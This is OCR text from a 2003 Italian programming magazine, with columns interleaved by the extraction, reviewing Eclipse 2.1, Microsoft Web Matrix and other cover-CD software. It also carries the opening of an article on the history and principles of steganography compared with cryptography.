mente tutti i linguaggi, gli Ide, i ni, un’interfaccia completamente La filosofia di approccio al proget-
tool di modeling e gli strumenti di personalizzabile ed un completo to di Eclipse è basata sulle Per-
collaborazione esistenti. L’idea IDE per il linguaggio Java diretta- spective.
era stata accolta con favore dalla mente derivato da Visual Age. Si tratta di viste del progetto, inte-
comunità Open Source al punto di L’utilizzo, però, non è dedicato ramente configurabili, le cui com-
coinvolgere da subito più di 150 esclusivamente agli sviluppatori, ponenti sono in funzione delle
operazioni che devono essere fat-
te.
In Fig. 1, ad esempio, è visibile la
Java Pespective che consente di
avere in un’unica finestra tutte le
informazioni necessarie allo svi-
luppatore.
Come vedete l’editor Java è dota-
to di funzionalità di autocomple-
tamento e di check automatico di
warning ed errori anche senza do-
ver esplicitamente compilare il co-
dice.

MODEL DRIVEN
ARCHITECTURE
L’ultima versione consolidata di
Eclipse, la 2.1 del Marzo 2003, la
trovate sul CD allegato ed unisce
una serie di caratteristiche e fun-
zionalità che la rendono unica nel
panorama degli ambienti si svi-
Fig. 1: Java Perspective in azione. luppo per Java.

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 23
015-025 soft 4-06-2003 10:48 Pagina 24

I L S O F T W A R E S U L C D G G G G G G G G G G G

tive che ci consente di avere sotto


controllo l’esecuzione lato server
delle nostre applicazioni.
Quella in figura è l’applicazione
multicanale la acui realizzazione
viene descritta in questo stesso
numero.
L’espandibilità della piattaforma è
testimoniata anche dalle centinaia
di plugin presenti nei vari reposi-
tory delle comunità open source.
In Fig. 3, per esempio, l’utilizzo di
un plugin per lo sviluppo UML
parallelo allo sviluppo di codice
Java.
Oltre che sul CD allegato, Eclipse
si può trovare al link [Link]
[Link].
Un vasto numero di plugin open
source possono essere scaricati a
partire da: [Link]
.net
Fig. 2: Debug Perspective.
Massimo Canducci

Oltre alle caratteristiche già de- problematiche sono gestite da SCHEDA TECNICA
scritte citiamo il supporto alla Eclipse in completo automatismo,
nuova architettura Model Driven il codice non deve essere neppure Nome: Eclipse 2.1
Produttore: IBM / Open Source
Architecture (Mda) dell’OMG. compilato, sarà Eclipse ad occu-
Licenza: Open Source
L’utilizzo di Mda permetterà di parsi di farci notare eventuali er- Linguaggi supportati: Java
creare applicazioni basate su mo- rori o warning durante la stesura Directory su CD: Eclipse
delli predeterminati evitando, per stessa del codice. Dimensione: 64 MB
quanto possibile, la codifica ma- In Fig. 2 si vede la Debug Perspec-
nuale di parti architetturali comu-
ni. La versione 2.1 di Eclipse sup-
porta nativamente la versione 1.4
del Java Development Kit e da
questa è in grado di ottenere il
massimo sfruttando, per esempio,
le potenzialità del Hot Code Swap
Replacement.
Chi sviluppa applicazioni J2EE sa
perfettamente che ogni volta che
si modifica un Javabean, una
Servlet o l’implementazione di un
Custom Tag, è necessario riavvia-
re l’application server. Bene, attra-
verso la funzionalità HCSR è pos-
sibile ricompilare un oggetto ser-
ver side ed il nuovo codice compi-
lato andrà a sostituire quello vec-
chio all’interno del context del-
l’applicazione.
Questo significa che lo sviluppa-
tore dovrà occuparsi solo di scri-
vere il codice e non dovrà quasi
mai fermare e far ripartire il suo
application server. Tutte queste Fig. 3: Esempio d’utilizzo di un plag-in.

24 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
015-025 soft 5-06-2003 16:22 Pagina 25

G G G G G G G G G G G I L S O F T W A R E S U L C D

Microsoft Web Matrix


Il potente ambiente di sviluppo gratuito per .NET

M olti di voi conosceranno ASP. E


gran parte di voi si sarà già con-
vertita a .NET. Ma per tutti coloro che
passaggi. E farlo vi porterà ad una sem-
plificazione ed una velocizzazione no-
tevole dello sviluppo dei vostri prodot-
WindowsXP in versione Home o Pro-
fessional. Nella non rara opportunità
poi che dobbiate implementare dei da-
hanno intrapreso questo cammino, è ti [Link], tale che non potrete più far- tabase nelle vostre applicazioni web, il
mancato sinora uno strumento ufficiale ne a meno. Se a questo aggiungete il sistema supporta SQL Server 7.0 o SQL
e gratuito che permettesse di rendere vantaggio di avere diversi strumenti Server 2000, oppure il nuovo e poco
ancora più semplice lo sviluppo in que- utili integrati nella medesima interfac- oneroso MSDE.
sto ambiente. Ebbene, proprio la Micro- cia, ed il fatto che questo prodotto, a di-
soft, mamma di .NET e di ASP, ha sfor- spetto di una efficacia decisamente pro-
nato un eccellente prodotto in grado di fessionale, è totalmente gratuito, capite SVILUPPO
semplificare ulteriormente lo sviluppo subito come esso non possa assoluta- DI APPLICAZIONI
di applicazioni di ultima generazione mente essere trascurato anche da parte Web Matrix permette di sviluppare
in ambiente di rete. Web Matrix, questo di chi ha già acquistato familiarità con qualsiasi tipologia di applicazione in
è il nome del software, è infatti un pro- un altro ambiente di sviluppo di qual- maniera semplice e veloce grazie ad
gramma di contenute dimensioni (1,2 che altra software house. Ma vediamo un’interfaccia chiara ed intuitiva.
Mb circa) scaricabile direttamente dal quali sono gli effettivi vantaggi di que- L’ambiente supporta diverse viste sul-
sito [Link] che mette immediata- sto prodotto, analizzando per filo e per l’applicazione in fase di sviluppo e
mente tutti gli sviluppatori di applica- segno cosa ci regala la Microsoft con consente di programmare in maniera
zioni web in grado di interagire con il questo progetto. visuale in stile WYSIWYG (what you
framework della Microsoft in un como- see is what you get). Potrete inserire i
do ambiente visuale che permette di ge- controlli nelle vostre Web Forms diret-
nerare potenti software in maniera INSTALLAZIONE tamente trascinandoli sulla pagina che
estremamente semplice, riducendo la E REQUISITI state sviluppando, e successivamente
quantità e la complessità di codice da Per poter installare Web Matrix sul vo- impostarne le proprietà modificandone
gestire. Se state già collegandovi al sito stro computer dovete essere in posses- i valori nella migliore tradizione Visual
per scaricare l’ultima versione, avrete so del framework .NET di Microsoft Basic. Tutto ciò è possibile anche per i
un’ulteriore buona notizia, visto che versione 1.0 e di Internet Explorer 5.5. più complessi controlli che si occupano
questo mese trovate il software allegato Il software richiede inoltre come siste- della gestione dei dati, DataGrid inclu-
al cd della nostra rivista. Potete quindi mi operativi Windows 2000 versione so. Ma non è tutto qui. Essendo tutto il
installarlo direttamente senza ulteriori Professional o Server, oppure il nuovo framework .NET incentrato sulla pro-
grammazione Object Oriented, il pro-
dotto in questione dà la possibilità di
creare classi e controlli personalizzati,
oltre che i più classici fogli di stile, file
XML e XSL, schemi XML e script SQL.

GESTIONE
DELLE BASI DI DATI
Il supporto e la gestione delle basi di
dati viene portato ancora più in primo
piano, arrivando ad integrarsi diretta-
mente nell’interfaccia del programma.
Oltre ad essere supportato pienamente
SQL Server, il prodotto offre un como-
do metodo per relazionarsi con il nuo-
vo software gratuito per la gestione dei
dati proposto da Microsoft: MSDE.
È possibile, infatti scaricare il program-
ma per la gestione dei dati, costruire il
proprio database, modificarlo e popo-
larlo di dati, nonché eliminarlo, diretta
mente da Web Matrix in maniera com-

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 25
015-025 soft 4-06-2003 10:49 Pagina 26

I L S O F T W A R E S U L C D G G G G G G G G G G G

pletamente visuale. È ovviamente pos- grammare il servizio, Web Matrix dà la maniera completamente trasparente
sibile anche connettersi a basi di dati possibilità di realizzare, senza alcuna per l’utente, come se esse risiedessero
esistenti, sfruttando appieno qualsiasi difficoltà, delle classi proxy per il trat- sul proprio computer. Questo permette
fonte di informazioni esistente prece- tamento dei dati in maniera locale. Co- di aggiornare siti web velocemente e
dentemente all’installazione di Web me sempre, se lo preferite, il tutto può comodamente passando da un file al-
Matrix. avvenire in maniera completamente vi- l’altro senza dover scaricare e uploada-
suale, sollevandovi dal compito di per- re decine di files. Ok, è tutto bello, ma
dervi tra righe di codice dal significato se ci sono dei problemi di programma-
oscuro. zione?
Neanche a dirlo, Web Matrix offre un
grande supporto per la soluzione di
FUNZIONI VARIE queste antipatiche situazioni, offrendo
Oltre alle possibilità del prodotto che in maniera preventiva dei Templates
sono state appena citate, vi è un’ampia che, in fase di sviluppo, aiutano ad im-
gamma di comode funzioni accessorie postare correttamente qualsiasi tipolo-
che è sempre piacevole trovare integra- gia di documento. Se comunque, que-
te in un prodotto dedicato allo svilup- sto non dovesse essere sufficiente, vi è
po. Una novità decisamente interessan- un’apposita area del prodotto total-
te riguarda la possibilità di sviluppare mente dedicata alla soluzione dei pro-
nativamente pagine web dedicate ai blemi.
Una volta raggiunte le informazioni sempre più utilizzati dispositivi mobi- Sono infatti presenti collegamenti di-
che si necessitano, la visualizzazione di li. Potrete in poco tempo e con quasi retti a parecchi siti internet, forum,
queste ultime a video è quasi elemen- nessuna conoscenza aggiuntiva, pro- newsgroup che trattano tutte le temati-
tare grazie alla possibilità di configura- grammare la vostra applicazione web che relative a Web Matrix, al frame-
re direttamente gli oggetti di .NET che per dispositivi mobili. work .NET, ad ASP ed a qualsiasi argo-
si occupano della gestione dei dati. mento dello sviluppo possa darvi dei
problemi. È inoltre possibile utilizzare
personalmente la propria rubrica di
SUPPORTO contatti Window Messenger per trova-
PER I WEB SERVICE re la persona che possa risolvere il pro-
Possiamo tranquillamente dire che i blema per noi. Il tutto comodamente
Web Services sono l’ultima vera novità integrato nell’ambiente di sviluppo. È
dell’universo informatico, e che sin infine possibile effettuare ricerche on
dalla loro prima apparizione essi han- line per argomenti, ed utilizzare un co-
no destato l’interesse di tutti i maggio- modo gestore di snippet inserito in una
ri produttori di software, che si sono delle toolBox.
immediatamente prodigati per offrire
pieno supporto per questa nuova tec-
nologia. .NET supporta in maniera ec- PER FINIRE
cellente i Web Services e questa sua Che dire a conclusione di questo arti-
grande qualità non può non riflettersi colo? Non esiste un valido motivo per
anche su Web Matrix, che rende la crea- cui chiunque sviluppi applicazioni
zione e l’utilizzo dei Web Services ASP .NET non debba installare questo
quanto di più semplice un informatico Sono infatti disponibili una serie di gioiellino sul proprio computer.
possa desiderare. È possibile, dal tem- controlli dedicati a questa particolare E quindi che aspettate?
plate iniziale, creare con pochi click il area dello sviluppo che nascono con Giuliano Uboldi
proprio servizio web e testarlo imme- l’intento di soddisfare qualsiasi neces-
diatamente. Una volta finito di pro- sità possiate incontrare nel trattare con
questa tipologia di software. Altra im- SCHEDA TECNICA
portante capacità del prodotto, è quella Nome: Microsoft [Link] Web Matrix
di poter essere utilizzato come client Project
ISP/ FTP per la pubblicazione e la mo- Produttore: Microsoft Corporation
Tipologia prodotto: Ambiente di
difica di pagine on-line. È possibile, in- sviluppo per applicazioni Web Based
fatti, una volta generate le proprie pa- (IDE)
gine ASP .NET, caricarle sul server ove Tipologia distribuzione: Freeware
Versione: 0.5 Beta
esse sono destinate senza dover cam- Requisiti d’utilizzo: Framework .NET,
biare programma. Ma ancor più inte- Win XP o Win 2000, IE 5.5
ressante è la possibilità di modificare Linguaggi supportati: Visual Basic, C#,
Jscript
pagine precedentemente pubblicate in

26 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
015-025 soft 4-06-2003 10:50 Pagina 27

G G G G G G G I M I G L I O R I S O F T W A R E S U L C D

Ed inoltre
Software sul CD
di ioProgrammo
Microsoft .Net santi esempi di RDBMS gratuti oggi disponibili. servando la semplicità tipica degli script, consen-
Framework 1.1 SDK SECONDO CD: \SpecialeDB te di semplificare il collegamento dati-applicazio-
Il Microsoft .NET Framework Software Develop- ni in ambito enterprise. Altro plus è costituito dal-
ment Kit (SDK) include il .NET Framework ridi- Open Office 1.0.2 la possibilità di utilizzare ActionScript Server-Si-
stribuibile e tutto quello che serve per scrivere, Continua lo sviluppo della suite open source ri- de per tutta la logica che risiede sul server: per chi
compilare, testare e distribuire applicazioni per il volta alla produttività d'ufficio. OpenOffice si pro- è già esperto di Flash, questa è una occasione im-
.NET Framework – incluso documentazione, pone come soluzione integrata di applicazioni, pedibile per fare il salto di qualità! Per completa-
esempi, compilatori e strumenti a linea di coman- multilingue e multipiattaforma, basata sul noto re questo quadro comunque paziale, citiamo la
do. Dopo un lungo periodo di gestazione, vede fi- standard XML, utilizzato per lo scambio ed il sal- presenza di un potente framework per il Web in
nalmente la luce la nuova release del Framework vataggio di documenti. I componenti inclusi sono: grado di mantere le sessioni e gestire applicazioni
.NET che aggiunge numerose features e corregge un word processor (Writer), un foglio elettronico e client in modo del tutto trasparente. La forte in-
alcuni bug della precedente versione. Tra le novità (Calc), un programma per creare grafici e dia- tegrazione con Java Enterprise ed il pieno sup-
più interessanti segnaliamo il supporto nativo per grammi (Draw) ed un tool per la creazione di pre- porto per le librerie di tag JSP, hanno fatto di Cold-
applicazioni mobile, una maggiore sicurezza per sentazioni multimediali (Impress). Nella direc- fusion uno degli strumenti preferiti dai professio-
le applicazioni [Link], il supporto per IPV6 e tory trovate anche la completa piattaforma di svi- nisti del Web.
connessione nativa a database Oracle e ODBC. luppo che consente di modificare ed estendere [Link]
Questa versione del Framework è quella che ac- l’applicativo.
compagna Visual Studio .NET 2003 e Windows SECONDO CD: \OPEN_OFFICE ColdFusion MX Updater 3
Server 2003. Nella directory DOT_NET_FRA- Questo programma di aggiornamento include
MEWORK del secondo CD trovate il framework Macromedia Flash MX tutti i miglioramenti apportati a ColdFusion MX
nelle due versioni: italiana e inglese. Il nuovo Macromedia Flash MX coniuga al meglio Server e ColdFusion MX for J2EE e vi garantisce
SECONDO CD: \DOT_NET_FRAMEWORK le esigenze deli sviluppatori e dei grafici impe- le ultime novità in fatto di sicurezza, stabilità e
gnati a costruire siti Web di grande impatto e ap- funzioni di primaria importanza.
SQL Server 2000 plicazione che possono essere utilizzate su tutte le \COLDFUSION_UPDATER
Desktop Engine (MSDE) principali piattaforme. Flash MX migliora e sem-
Gli aggiornamenti di SP3 per MSDE includono plifica il processo di preparazione visuale per gli Patch Maker 1.2
aggiornamenti e nuove installazioni per i compo- sviluppatori Web tradizionali che intendono lavo- La vita di ogni software è caratterizzata dalla usci-
nenti di database delle istanze di SQL Server 2000 rare sul lato client delle loro applicazioni. Vedia- ta di più release e, generalmente, le varie versioni
Desktop Engine, fra cui: mo alcune delle nuove funzioni: il nuovo suppor- differiscono le une dalle altre solo per pochi pic-
to video, grazie al quale sarà possibile visualizza- coli cambiamenti. Quello che accade è che solo
• Il motore per dati desktop. re e manipolare tutti i più diffusi formati video una piccola percentuale del codice di un’applica-
(MPEG, Digital Video, QuickTime e AVI). I nuovi zione subisce dei reali cambiamenti. Ciononostan-
• Componenti client di connettività per databa- pannelli context-sensitive, che consentono un mi- te, si è soliti creare degli aggiornamenti che inclu-
se, quali Microsoft OLE DB Provider per SQL gliore sfruttamento dell’area video. Il dynamic dano l’intera applicazione, col risultato che per
Server 2000, il driver ODBC per SQL Server loading del nuovo player per immagini e suoni, cambiamenti che coinvolgano pochi Kbyte, si di-
2000 e le librerie di rete client. che ottimizza il caricamento di file MP3 e JPEG. stribuiscono file di diversi mega. L’utility in que-
Forte integrazione con XML, utile sia nella mani- stione consente proprio di distribuire patch conte-
Il pacchetto include tutti i file necessari per instal- polazione dei dati che nella gestione dei compo- nenti unicamente le effettive modifiche apportate
lare una nuova istanza di Desktop Engine (file nenti. Numerosi componenti pronti all’uso, che all’applicazione.
msi), per aggiornare tutte le istanze esistenti di renderanno ancora più veloce lo sviluppo di ap- [Link]
Desktop Engine (file msp) e per utilizzare i modu- plicazioni: scrollbar, rich text fields, pulsanti di in-
li di unione (file msm) nelle applicazioni. put, radio button e check box, olte alle list box ed ERCreator Database
SECONDO CD: \MSDE alle combo box. Versione di valutazione valida Edition demo 2.0
trenta giorni. Un tool dedicato allo sviluppo di modelli Entità-
Speciale Database flashmx_trial_it.exe Relazione: può essere usato sia per creare e docu-
Questo mese ioProgrammo vi consente di compa- mentare database, sia per generare script per la
rare alcuni dei migliori motori di database gratui- ColdFusion MX creazione di oggetti per database. Sono supporta-
ti. Oltre al classico MySQL, qui presente anche Un eccezionale application server per costruire ti tutti i più diffusi database (DB2/MVS, DB2
nella nuovissima versione 4.1 ancora in alpha, po- nel modo più semplice applicazione Web che in- (UDB), Interbase, MySQL, Oracle, e Microsoft
tete provare il progetto Open Source Firebird, de- tegrino databases, XML, Web Services, Flash e tut- SQL Server) ed è utilizzato XML come formato
rivato direttamente dal pluripremiato Interbase di to quanto di più avanzati la tecnologia metta oggi base dei file. La nuova versione include il suppor-
Borland. a disposizione dei professionisti del Web. Una to a ODBC ed una interessante utility per il rever-
Troverete anche tutti i file del progetto SAP DB delle più apprezzate caratteristiche è il linguaggio se-engineering.
([Link]) uno dei più completi ed interes- CFML (ColdFusion Markup Language) che, con- [Link]

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 27
028-031 soluzioni 4-06-2003 10:51 Pagina 28

S O L U Z I O N I G G G G G G G G G G G G G G G G G

✓ L’arte di nascondere le informazioni


Steganografia
tecniche e algoritmi
Steganografare scritture per inviare eventuali infatti, fu introdotta dagli antichi greci. L’etimologia
elementi trasmessivi segreti è tra le finalità della parola infatti, è l’unione di due termini greci ste-
maggiori, debitamente garantita d@ll’idea della go (nascondo, occulto) e grajh (scrittura). Fu proprio
questo popolo a sviluppare i primi rudimenti di ste-
immissione tra segnali statici, scelti
ganografia al fine di inviare testi nascosti in altre parti
rigorosamente. Mica futilità! del paese, senza che questi potessero essere rilevati. La
tecnica usata era quella di incidere il testo su tavolette
che successivamente venivano ricoperte di cera.

P
erdonatemi il sottotitolo leggermente sgramma- Un’altra tecnica molto originale quanto bizzarra, che
ticato, ma nel corso dell’articolo si comprenderà descrive il grande storico greco Erodoto, consisteva
come tale periodo non abbia la sola funzione di nel tagliare a zero i capelli del messaggero e tatuare sul
introdurre l’argomento oggetto della presente tratta- cranio il messaggio segreto e in seguito alla ricrescita
zione. Uno, due e tre è siamo pronti ad iniziare. Molte dei capelli mandarlo dal destinatario per la consegna,
volte tra queste pagine ci è capitato di trattare temi per rendere la cosa maggiormente credibile al portato-
dalle molteplici sfaccettature; oltre a quello informati- re di notizie veniva dato un messaggio falso. Ovvia-
co abbiamo spesso trattato problemi e relative solu- mente, una volta giunto a destinazione bastava rasare
zioni che presentassero altri significativi aspetti, come i capelli al messaggero per raggiungere l’obiettivo di
ad esempio quello matematico. L’argomento che ci invio sicuro del messaggio segreto. Nell’antichità in
terrà compagnia in questo numero detiene il record, Cina i messaggi segreti venivano dipinti su striscioli-
poiché coinvolge una considerevole serie di aspetti. Si ne di seta e dopo essere arrotolati venivano coperti di
tratta, infatti, come vedremo, di un argomento di at- cera così si potevano trasmettere. Ma un passo avanti
tualità, oltre che ovviamente un interessante tema nella formalizzazione e sviluppo della tecnica steno-
informatico-matematico; inoltre presenta significativi grafica si è avuto grazie al contributo di Giovanni Trai-
aspetti politici, e per quanto mi riguarda ha anche una menio con il suo Steganographia e Clavis Stegano-
valenza artistica. Spero che la cospicua quantità di am- graphiae. Il più semplice degli schemi che lo studioso
biti non vi spaventi, bensì aumenti le aspettative sul presentò si riduce a quello che oggi è il conosciuto gio-
tema, che vi assicuro verranno mantenute. L’area spe- co di parole acrostico, ossia una frase che si forma con
cifica di interesse della steganografia è la sicurezza. parole le cui iniziali appartengono ad un'altra frase o
Circa la sicurezza abbiamo già avuto modo di scrive- parola sorgente. Ad esempio, se invio il telegramma:
re, come i più attenti e dotati di memoria ricordano, “Avendo liberato Lola abbiamo ritenuto migliorare e
poiché si tratta di numeri abbastanza un po’ lontani riformulare osservazioni sull’animalismo”, e se il rice-
Soluzioni

nel tempo; in particolare abbiamo trattato gli algoritmi vente è a conoscenza del fatto che si tratta di un acro-
di crittografia. La steganografia è un metodo che ha lo stico, potrà tranquillamente, ricomponendo le prime
stesso scopo della crittografia, ossia inviare un mes- lettere di ogni parola della frase trasmessa, ottenere il
saggio segreto senza che il contenuto sia scoperto da messaggio segreto che risulta essere: “Allarme rosa”.
occhi indiscreti, ma si distingue da essa per la filosofia Certo, questo schema è semplicemente individuabile,
di funzionamento. Come vedremo in modo approfon- ma con piccole variazioni si possono ottenere risultati
dito nel corso della disquisizione. Ribadisco! Leggete migliori, come lo stesso Trimenio propose. Ad esem-
tutto l’articolo fino all’ultima parola. È presente un ele- pio, si può pensare di considerare solo alcune parole
mento di interesse aggiuntivo che si svelerà al termine della frase, in modo periodico; oppure si può nascon-
della trattazione, vi assicuro che ne vale la pena. dere il messaggio segreto non nelle prime lettere di
ogni parola ma in altre posizioni, e queste ultime le si
può pensare variabili. La struttura steganografica pro-
STEGANOGRAFIA posta da Trimenio, costituita da quaranta sistemi e
DALLE ORIGINI dieci schemi, si avvaleva, in alcuni casi, anche di stru-
La steganografia, al contrario di molte tecniche di uso menti traspositivi, come un doppio disco in cui le due
avanzato al calcolatore non è di recente origine, essa parti scorrevano una dentro l’altra. Sul disco esterno

28 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
028-031 soluzioni 4-06-2003 10:51 Pagina 29

E E E E E E E E E E E E E E E E E S O L U Z I O N I

vi era l’alfabeto, su quello interno le stesse lettere in un pio, dietro una semplice comunicazione dai contenuti, Trimenio
ordine diverso, in modo che, scorrendo il disco inter- anche comuni, si può celare un messaggio nascosto Nacque il 1° feb-
no, si poteva individuare una corrispondenza tra la opportunamente camuffato dalle tecniche steganogra- braio 1462 a Tri-
tenheim nella contea di
lettera del messaggio e quella da cifrare. Ma in questo fiche. Il mezzo di trasporto può riguardare anche altri
Treviri da una ricca fami-
ultimo caso ci avviciniamo maggiormente al concetto file come quelli di immagine, i suoni o i filmati. Una glia. Il suo vero nome è
di crittografia. Una comparazione tra i due metodi è fotografia che ritrae un gruppo di amici può contene- Johann Heidenberg. Do-
riportata di seguito. Metodo analogo era quello che fa- re nascosta un’importante mappa. Quindi, al contrario po la prematura scom-
parsa del padre, fre-
ceva uso delle griglie di Cardano che erano fogli di della crittografia, nella steganografia qualora si intui-
quentò la scuola clande-
materiale rigido con appositi buchi. Apponendo tali sca o peggio si abbia la consapevolezza che la trasmis- stinamente poiché non
griglie su documenti che venivano inviati si otteneva sione contenga dei messaggi segreti, allora gran parte gli era concesso. Nel
il messaggio cifrato. Si potrebbero trovare moltissimi dell’efficacia del metodo è persa. Diciamo subito che 1479 si stabilì ad Heidel-
berg dove studiò e poté
casi di steganografia disseminati nel corso dei secoli, a se la tecnica è ben sviluppata tale situazione non do-
recuperare il tempo per-
riprova dell’esigenza sempre attuale di inviare mes- vrebbe verificarsi, se non raramente, ad ogni modo duto. Una casualità, una
saggi segreti. Visioniamo rapidamente alcuni altri per rendere maggiormente sicura la comunicazione, tempesta di neve mentre
esempi. L’uso di inchiostri simpatici, come il succo di l’esperto di sicurezza preferisce adottare sistemi misti, ritornava a casa, lo fece
incontrare con un con-
limone o inchiostro di cobalto, che diventano visibili i che presentino oltre alla steganografia anche la critto- vento benedettino, in cui
primi a contatto con fonti di calore i secondi dopo op- grafia. fu colto da un’improvvi-
portuni trattamenti con reagenti chimici, permettono Uno schema che fa solo uso della steganografia è ri- sa vocazione. Intanto si
una trasmissione segreta. La tecnica usata dai nazisti portato in Fig. 1. faceva già chiamare il
nome iniziatico di Trithe-
nella seconda guerra mondiale era di immettere mi- mius (dal suo paese na-
cropunti fotografici. In particolare, fotografie delle di- tale). Grazie alle sue ca-

Canale sicuro
Sorgente Destinazione
mensioni di un punto potevano essere opportuna- pacità (come si diceva
K allora “conosceva l’ar-
mente ingrandite, esse venivano “iniettate” in altre fo- Steganografia
Decifratura te”) riuscì a risollevare
tografie che sembravano innocue e così trasmesse. le sorti del convento che
Passiamo adesso alla parte meramente tecnica. O + S + O era sull’orlo del tracollo

Canale pubblico
e nel giro di poco tempo
fu chiamato a reggere
CRITTOGRAFIA C l’abbazia. I duecento
monaci diventarono do-
E STEGANOGRAFIA po poco abili trascrittori
Per comprendere a fondo il concetto di steganografia di libri e dopo poco tem-
po l’abbazia era cono-
è necessario evidenziare le differenze che si riscontra- Fig. 1: Trasmissione segreta mediante
sciuta non solo in Ger-
no rispetto all’altra tecnica fondamentale nel campo steganografia. o elemento (messaggio, immagine
mania ma in tutta Euro-
ecc) originale segreto da trasmettere; c elemento
della sicurezza, la crittografia. Vedremo di seguito che di copertura (testo, immagine ecc); k chiave; s pa. Risalgono a questo
l’uso combinato delle due tecniche risulta di elevata elemento steganografato (testo, immagine). periodo gli studi sulla
steganografia. Morì il 15
efficacia. Nella crittografia il messaggio sorgente vie- dicembre 1516 lontano
ne: cifrato sulla base di un algoritmo e di una chiave; L’elemento originale, da trasmettere segretamente che dal convento in seguito a
trasmesso, e una volta a destinazione decifrato con un può essere un messaggio, un suono, un filmato o contrasti con gli altri fra-
secondo algoritmo e con la conoscenza della chiave (a un’immagine, insieme ad un elemento di copertura, ti che con il passare del
tempo sopportavano
seconda dei metodi crittografici le chiavi di cifratura e ad esempio un altro testo, o ancora un’immagine, e in- sempre meno il rigore
decifratura possono essere uguali, quindi private, os- sieme ad una chiave che è conosciuta dal trasmittente imposto da Trimenio.
sia segrete, come nel caso di DES, oppure diverse, quanto dal destinatario, vengono unite e poste come
quindi una pubblica ed una privata, ad esempio RSA). input per l’algoritmo steganografico, che produce ap-
Nel caso della crittografia, si parte dal presupposto punto l’elemento cifrato. Questo può essere trasmesso
Soluzioni
che un possibile attacco atto a decifrare un messaggio tranquillamente su un comune canale pubblico, inter-
inviato sia reso “difficoltoso”, purtroppo non si può net in primis, “sicuri” del fatto che non si rilevi alcuna
parlare di impossibile, dalla complessità che si ha comunicazione privata e comunque consapevoli che
nell’individuare la chiave. Ad ogni modo, l’hacker o gli elementi di copertura e lo steganografato (soprat-
chi tenta di violare il messaggio è ben cosciente che si tutto nel caso di immagini) siano praticamente indi-
trova davanti ad un elemento segreto, e questa consa- stinguibili. Una volta trasmesso l’elemento stegano-
pevolezza è nota anche alle due parti che trattano il grafato a destinazione, con l’algoritmo duale alla ci-
messaggio, il mittente ed il destinatario. Si pensi quan- fratuta, si ottiene il messaggio o immagine in chiaro.
do si invia il numero di carta di credito per effettuare Apro una piccola parentesi per puntualizzare il ruolo
un acquisto on-line, è noto che quel numero verrà crit- del canale sicuro attraverso il quale va trasmessa la
tografato e che se pure finisca in mano indesiderate chiave. È ovvio che non si può parlare di sicurezza as-
non si possa (o sia molto difficile) pervenire al nume- soluta, altrimenti l’intera comunicazione potrebbe
ro originario. Nella steganografia, invece, l’obiettivo è viaggiare su tale canale, inoltre, va precisato che la
quello di non far intuire all’eventuale intruso, che in- chiave va trasmessa una tantum, certamente non ogni
tende conoscere le nostre notizie o comunicazioni, che volta che si invia un messaggio segreto. Ma questa è
sia presente un messaggio segreto. Cosicché, ad esem- una discussione già fatta in occasione della crittogra-

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 29
028-031 soluzioni 4-06-2003 10:52 Pagina 30

S O L U Z I O N I G G G G G G G G G G G G G G G G G

fia, per cui vi rimando a quelle pagine. Come già af- adepti attraverso le conosciute comunicazioni a mez-
Alcuni utili fermato in precedenza, qualora si individui una co- zo broadcasting. In particolare, alcune importanti am-
riferimenti municazione segreta, questa viene più facilmente de- ministrazioni, come quella USA, con le parole della
Per i collezionisti
di ioProgrammo, cifrata rispetto al caso della crittografia. Per rendere, portavoce Condoleeza Rice, ma anche quella britanni-
che a quanto pare non quindi, più robusta e sicura la comunicazione, i due ca, hanno paventato che sia i proclami a mezzo televi-
sono pochi, vorrei forni- metodi vengono uniti. Un ulteriore sviluppo prevede sivo che alcune immagini presenti su importanti siti
re alcuni utili riferimenti
che il messaggio steganografato sia anche crittografa- internet come e-Bay o Usenet contenessero elementi
che completeranno e
amplieranno la com- to secondo lo schema riportato nella Fig. 2. steganografati di produzione attribuibile ad Al Que-
prensione della stega- da. Sulla base di ciò, che al momento è solo una sup-
nografia. Anche se vi sa- Sorgente Destinazione posizione, il governo americano nel produrre la famo-
ranno sicuramente an- KS
sa patriot act per contrastare il terrorismo, ha intro-
che di altri articoli corre-
Canale
sicuro
lati, disseminati nei vari dotto un capitolo per il controllo delle comunicazioni,
KC
numeri di ioProgrammi, Crittografia con particolare accento ad internet, che ha determina-
mi permetto di segnala- to delle pesantissime ripercussioni sulla libertà di
O + CR
re quelli scritti da me
sempre nella sezione so-
azione degli internauti, denunciate da importanti as-
luzioni. Vi propongo di C + S + CR + O
sociazioni come ACLU, CPSR e EFF. Certo la legge è
leggere gli articoli sulla Decrittografia Decifratura
americana ma gli utenti della madre di tutte le reti so-
Canale
sicurezza, che trattano Steganografia
pubblico no di tutto il mondo, ecco quindi che siamo un po’ tut-
la crittografia esponen-
do i maggiori algoritmi a
ti coinvolti. Va inoltre ricordato che molti governi si
Fig. 2: Trasmissione segreta mediante
chiave privata, tipo DES sono allineati, chi più chi meno, all’azione americana;
steganografia. o elemento (messaggio, immagine
e a chiave pubblica co- ecc) originale segreto da trasmettere; c elemento in Italia, ad esempio, la legge n.374 del 18 ottobre 2001
me RSA, nonché PGP, si di coperture (testo, immagine ecc); cr elemento è leggermente più “morbida” della patriot act. Per
tratta dei numeri: 28 e crittografato; kc chiave crittografica; ks chiave
29. Inoltre, risulterà in- concludere la parentesi “atipica” va sottolineato il vi-
stenografica; s elemento steganografato (testo,
teressante un’analisi de- immagine). vo dibattito che è sorto circa la divulgazione o meno
gli algoritmi di compres- degli studi sulle tecniche stenografiche.
sione esaminati nei nu-
In questo secondo caso, l’elemento originale è inizial- In estrema sintesi, alcuni pensano che tali strumenti in
meri: 18 e 19. Ancora ri-
tengo opportuno che sia mente crittografato, dopodiché il processo di trasmis- mano a terroristi siano pericolosi, quindi è opportuno
utile approfondire il con- sione è identico al precedente. Risulta ovvio, che even- rendere il più possibile riservati gli studi relativi al lo-
cetto di errore leggendo tuali attacchi risultano più ostici poiché bisogna oltre ro sviluppo. Altri invece, pensano che come tutti i
il numero: 38; nonché
